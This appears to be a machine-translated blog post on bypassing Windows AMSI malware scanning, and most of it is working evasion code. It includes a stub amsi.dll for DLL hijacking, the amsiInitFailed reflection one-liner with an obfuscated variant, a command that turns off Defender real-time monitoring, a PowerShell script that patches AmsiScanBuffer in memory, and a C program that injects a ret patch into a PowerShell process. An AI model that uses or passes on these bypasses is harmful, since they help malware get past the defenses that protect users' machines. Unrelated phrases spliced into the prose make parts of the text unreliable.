Research and idea of avoiding killing by bypassing AMSI

What is AMSI

Antimalware Scan Interface(AMSI) is an anti malware scanning interface.

Microsoft described his purpose:

The Windows antimalware scanning interface (AMSI) is a common interface standard that allows your applications and services to integrate with any antimalware products that exist on your machine. AMSI provides enhanced malware protection for your end users and their data, applications, and workloads. AMSI has nothing to do with anti malware vendors; It is designed to support the most common malware scanning and protection technologies provided by anti malware products that can be integrated into applications today. It supports call structures that allow file and memory or stream scanning, content source URL/IP reputation checking, and other technologies. AMSI also supports the concept of sessions so that antimalware vendors can associate different scan requests. For example, different fragments of malicious load can be associated to make more informed decisions, Guangzhou housing review It's hard to make a decision just by looking at these clips in isolation.

Installed and enabled by default on Windows Server 2016 and Win10. His ontology is a DLL file, which exists in c:\windows\system32\amsi.dll.

It provides general standard interfaces (COM interface and Win32 API). The COM interface is provided for software killing suppliers to facilitate software killing manufacturers to access their identification ability against malware. Many security vendors have accessed AMSI's interface.

Official structure chart:

At present, AMSI functions have been integrated into these components of Windows 10

• user account control or UAC (promotion of EXE, COM, MSI or ActiveX installation) • PowerShell (scripting, interactive use and dynamic code evaluation) • Windows Script Host (wscript.exe and cscript.exe) • JavaScript and VBScript • Office VBA macro

Since it is essentially a dll, you can look at its export function.

When executing some sensitive strings, you will find that powershell refuses to execute and reports poison.

Looking at the powershell module, you will find that amsi.dll is loaded

Several ways to bypass

dll hijacking

When you open the powershell process again, the amsi process will be loaded, so it's natural to think that you can bypass by dll hijacking or replacement.

dll loading order:

• directory of the application corresponding to the process • system directory (obtained through GetSystemDirectory) • 16 bit system directory • Windows directory (obtained through GetWindowsDirectory) • current directory • various directories in the PATH environment variable

The path of powershell.exe is C:\Windows\System32\WindowsPowerShell\v1.0, Bai Xiaosheng You only need to place a module named amsi.dll in the same directory.

However, not every module is OK. Since amsi has been enabled, if powershell crashes due to incorrect loading, we cannot execute commands. Here we will export the export functions originally available in amsi.dll.

For example, the export function here has an AmsiScanBuffer

Then go to msdn to find the relevant function description and parameters in the document.

#include "pch.h"#include <iostream> extern "C" __declspec(dllexport) void AmsiScanBuffer(HAMSICONTEXT amsiContext,    PVOID buffer, ULONG length, LPCWSTR contentName, HAMSISESSION amsiSession,    AMSI_RESULT * result); void AmsiScanBuffer(HAMSICONTEXT amsiContext, PVOID buffer, ULONG length,    LPCWSTR contentName, HAMSISESSION amsiSession, AMSI_RESULT* result) { }

Write out the derived functions one by one. Don't directly include the system file amsi, so there are related functions in the file, which will conflict. Just stick some structures directly.

typedef struct HAMSICONTEXT {    DWORD       Signature;          // "AMSI" or 0x49534D41    PWCHAR      AppName;           // set by AmsiInitialize    DWORD       Antimalware;       // set by AmsiInitialize    DWORD       SessionCount;      // increased by AmsiOpenSession} HAMSICONTEXT; typedef struct HAMSISESSION {    DWORD amsiSession;} HAMSISESSION; typedef enum AMSI_RESULT {    AMSI_RESULT_CLEAN = 0x00,    AMSI_RESULT_NOT_DETECTED = 0x01,    AMSI_RESULT_BLOCKED_BY_ADMIN_START = 0x4000,    AMSI_RESULT_BLOCKED_BY_ADMIN_END = 0x4fff,    AMSI_RESULT_DETECTED = 0x8000,} AMSI_RESULT;

In this way, our own dll also has related export functions that can be called by powershell, but there is no function in it. Note that this amsi is 64 bit.

Put your dll in the same directory as powershell.exe and open PowerShell again.

Check the module of powershell process and find that it is already a module written by ourselves.

Successfully bypass ed

In the whole process, administrator permissions are required. dll also needs to consider the issue of exemption from killing. Can it even be used to protect its rights? This method should be relatively sensitive, depending on when Microsoft will fix it.

In addition to hijacking, it can also be uninstalled, but it will cause powershell instability and direct crash. This method won't work.

Reduce powershell version

Reducing the powershell version to 2.0 can avoid amsi, because amsi has not been added in the lower version of powershell. Then you need to know the powershell version of the target machine.


In Windows 7 and Windows Server 2008 R2 and above, PowerShell 2.0 is integrated in all Windows versions.

Under normal user permissions, you can check through the following command line:

Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version

Administrator privileges can use the following commands:

Get-WindowsOptionalFeature -Online -FeatureName MicrosoftWindowsPowerShellV2

There is no such environment for the virtual machine here. After seeing that the local machine has version 2.0, we will change the local machine and try it. It can be executed successfully.


The simplest example


AMSI can be turned off directly with a single command

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiI nitFailed','NonPublic,Static').SetValue($null,$true)

However, it is definitely not possible to close it directly. Its features are actually System.Management.Automation.AmsiUtils and amsiInitFailed.

There are many confusing ways here, which can be as follows:

$a =[Ref].Assembly.GetType('System.Management.Automation.AmsiUti'+ls') $h="4456625220575263174452554847" $s =[string](0..13|%{[char][int](53+($h).substring(($_*2),2))})-replace " " $b =$a.GetField($s,'NonPublic,Static')$b.SetValue($null,$true)

On the Internet, you can see that closing Windows Defender can also invalidate the system's own AMSI detection, which requires administrator privileges. This method is no longer available.

Set-MpPreference -DisableRealtimeMonitoring $true

Use reflection to set the detection length of the AmsiScanBuffer method in memory to 0

AMSI detection calling process is:

AmsiInitialize – initialization AMSI API.AmsiOpenSession – open sessionAmsiScanBuffer – scans the user-input.AmsiCloseSession – close sessionAmsiUninitialize – delete AMSI API

The AmsiScanBuffer parameter is also described by Microsoft. The third parameter is to detect the length of the buffer.

Script source:

Class Hunter {    static [IntPtr] FindAddress([IntPtr]$address, [byte[]]$egg) {        while ($true) {            [int]$count = 0             while ($true) {                [IntPtr]$address = [IntPtr]::Add($address, 1)                If ([System.Runtime.InteropServices.Marshal]::ReadByte($address) -eq $egg.Get($count)) {                    $count++                    If ($count -eq $egg.Length) {                        return [IntPtr]::Subtract($address, $egg.Length - 1)                    }                } Else { break }            }        }         return $address    }}function Get-ProcAddress {    Param(        [Parameter(Position = 0, Mandatory = $True)] [String] $Module,        [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure    )     # Get a reference to System.dll in the GAC    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')    # Get a reference to the GetModuleHandle and GetProcAddress methods    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))    # Get a handle to the module specified    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))    $tmpPtr = New-Object IntPtr    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)    # Return the address of the function    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))}function Get-DelegateType{    Param    (        [OutputType([Type])]                    [Parameter( Position = 0)]        [Type[]]        $Parameters = (New-Object Type[](0)),                    [Parameter( Position = 1 )]        [Type]        $ReturnType = [Void]    )     $Domain = [AppDomain]::CurrentDomain    $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)    $MethodBuilder.SetImplementationFlags('Runtime, Managed')            Write-Output $TypeBuilder.CreateType()}$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr, $LoadLibraryDelegate)$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr, $GetProcAddressDelegate)$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect$VistualProtectDelegate =  Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VistualProtectDelegate)  If ([IntPtr]::Size -eq 8) {    Write-Host "[+] 64-bits process"    [byte[]]$egg = [byte[]] (        0x4C, 0x8B, 0xDC,       # mov     r11,rsp        0x49, 0x89, 0x5B, 0x08, # mov     qword ptr [r11+8],rbx        0x49, 0x89, 0x6B, 0x10, # mov     qword ptr [r11+10h],rbp        0x49, 0x89, 0x73, 0x18, # mov     qword ptr [r11+18h],rsi        0x57,                   # push    rdi        0x41, 0x56,             # push    r14        0x41, 0x57,             # push    r15        0x48, 0x83, 0xEC, 0x70  # sub     rsp,70h    )} Else {    Write-Host "[+] 32-bits process"    [byte[]]$egg = [byte[]] (        0x8B, 0xFF,             # mov     edi,edi        0x55,                   # push    ebp        0x8B, 0xEC,             # mov     ebp,esp        0x83, 0xEC, 0x18,       # sub     esp,18h        0x53,                   # push    ebx        0x56                    # push    esi    )}  $hModule = $LoadLibrary.Invoke("amsi.dll")Write-Host "[+] AMSI DLL Handle: $hModule"$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule, "DllGetClassObject")Write-Host "[+] DllGetClassObject address: $DllGetClassObjectAddress"[IntPtr]$targetedAddress = [Hunter]::FindAddress($DllGetClassObjectAddress, $egg)Write-Host "[+] Targeted address: $targetedAddress" $oldProtectionBuffer = 0$VirtualProtect.Invoke($targetedAddress, [uint32]2, 4, [ref]$oldProtectionBuffer) | Out-Null $patch = [byte[]] (    0x31, 0xC0,    # xor rax, rax    0xC3           # ret  )[System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $targetedAddress, 3) $a = 0$VirtualProtect.Invoke($targetedAddress, [uint32]2, $oldProtectionBuffer, [ref]$a) | Out-Null

However, the script is no longer available, and the defender reports poison directly. I wonder if I can hook and change the value.

Mem Patch

We know that whether the string is sensitive is determined by the AmsiScanBuffer function in amsi.dll, and memory patch is a relatively convenient technology. We can patch this function to make it lose judgment ability, so that we can freely execute any powershell script. Of course, the premise is that the script file is not killed.

In the above way, I think it can also be classified as a memory patch by changing the length of the third parameter of AmsiScanBuffer to 0.

Through the introduction to AmsiScanBuffer above, you should know that the function returns the HRESULT type value, which is an integer value used to indicate whether the operation is successful. If the function succeeds, it should return S_OK (0x00000000), otherwise the HRESULT error code should be returned.

The last parameter of AmsiScanBuffer is AMSI_RESULT

Structure is


It is probably through this structure to return whether to determine whether the detected content is malicious. The larger the value, the higher the risk.

There should be a lot of methods. You can inject a dll into powershell to hook or operate. You can also directly start a powershell process, obtain the function address of AmsiScanBuffer, and let him directly return these operations. The focus of this method should be killing free.

Steal a lazy:

#include <Windows.h>#include <stdio.h> int main() {    STARTUPINFOA si = { 0 };    PROCESS_INFORMATION pi = { 0 };    si.cb = sizeof(si);     CreateProcessA(NULL, (LPSTR)"powershell -NoExit dir", NULL, NULL, NULL, NULL, NULL, NULL, &si, &pi);     HMODULE hAmsi = LoadLibraryA("amsi.dll");    LPVOID pAmsiScanBuffer = GetProcAddress(hAmsi, "AmsiScanBuffer");     Sleep(500);     DWORD oldProtect;    char patch = 0xc3;     VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, PAGE_EXECUTE_READWRITE, &oldProtect);    WriteProcessMemory(pi.hProcess, (LPVOID)pAmsiScanBuffer, &patch, sizeof(char), NULL);    VirtualProtectEx(pi.hProcess, (LPVOID)pAmsiScanBuffer, 1, oldProtect, NULL);    CloseHandle(pi.hProcess);    CloseHandle(pi.hThread);    FreeLibrary(hAmsi);    return 0;}

The hard coded assembly corresponding to 0xc3 is ret, that is, call AmsiScanBuffer to directly return it. The horse was killed directly.

Other methods such as com hijacking and NULL character bypassing have failed, so we won't study them here as a preliminary study.

Keywords: security Web Security

Added by steeveherris on Fri, 12 Nov 2021 00:41:37 +0200